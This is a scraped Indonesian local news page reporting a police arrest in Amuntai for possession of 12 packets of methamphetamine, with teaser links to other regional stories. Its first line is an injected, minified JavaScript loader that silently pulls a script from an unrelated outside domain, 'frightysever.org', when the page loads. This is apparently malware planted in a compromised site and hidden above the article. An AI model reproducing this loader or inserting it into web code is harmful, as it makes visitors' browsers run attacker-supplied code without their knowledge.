(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Ingin Lolos dengan Cara Buang Barbuk, Salamat Tak Selamat dari Cidukan Polisi


AMUNTAI, Salamat alias Pakacil Aya (39) tak berkutik ketika tertangkap tangan memiliki 12 paket sabu oleh anggota Polsek Alabio. Pelaku yang diketahui merupakan warga desa Nelayan  RT 003 Kecamantan Sungai Tabukan Kabupaten Hulu Sungai Utara (HSU) ini, diciduk polisi setelah mendapatkan informasi dari warga.

“Adapun barang milik pelaku berasal dari orang desa nelayan bernama Amat Marni yang pada saat pengembangan kasus ini yang bersangutan sudah tidak ada di rumahnya alias DPO” ungkap Kapolsek Alabio Iptu Teguh Budiyowono kepada Kanalkalimantan.com, Jum’at (18/10)

Menurut pengakuannya, pelaku sendiri sudah lama berbisnis barang haram tersebut sekitar 2 tahun, meski sempat berhenti tetapi baru mulai lagi jualan sekitar 3 bulan.

Kapolsek Alabio ini. Dari informasinya, penangkapan pelaku sendiri terjadi pada hari Kamis (17/10) sekitar pukul 15.30 Wita. Berawal dari informasi masyarakat atas adanya peredaran narkotika yang dijual oleh pelaku, lantas merespon hal tersebut anggota Polsek Alabio  melakukan penangkapan terhadap pelaku saat berada di dalam rumahnya.

Usai diamankan disertai penggeledahan terhadap pelaku,alhasil ditemukan barang bukti berupa 12 paket narkotika jenis sabu dengan berat kotor 7.18 gram atau berat bersih 5.38 gram didalam dompet kecil warna merah yang diselipkan didalam kotak rokok Sampoerna mild merah.

Meski menurut dugaan Salamat sempat membuang barang bukti berupa dompet merah berisi sabu tersebut, namun akhirnya ditemukan juga disemak semak  belakang rumah pelaku.

Bersamaan barang bukti sejumlah paket sabu, ikut diamankan juga barang bukti lain diantaranya handphone, atas kejadian ini pelaku dan barang bukti akhirnya digiring ke Mapolsek Alabio guna proses Penyelidikan lebih lanjut.

Pelaku sendiri bakal dijerat UU Pasal 112 ayat (1) UU nomor 35 tahun 2009 atau Pasal 114 ayat (1) UU nomor 35 tahun 2009 tentang Narkotika.(dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

8 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

11 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

15 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

15 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.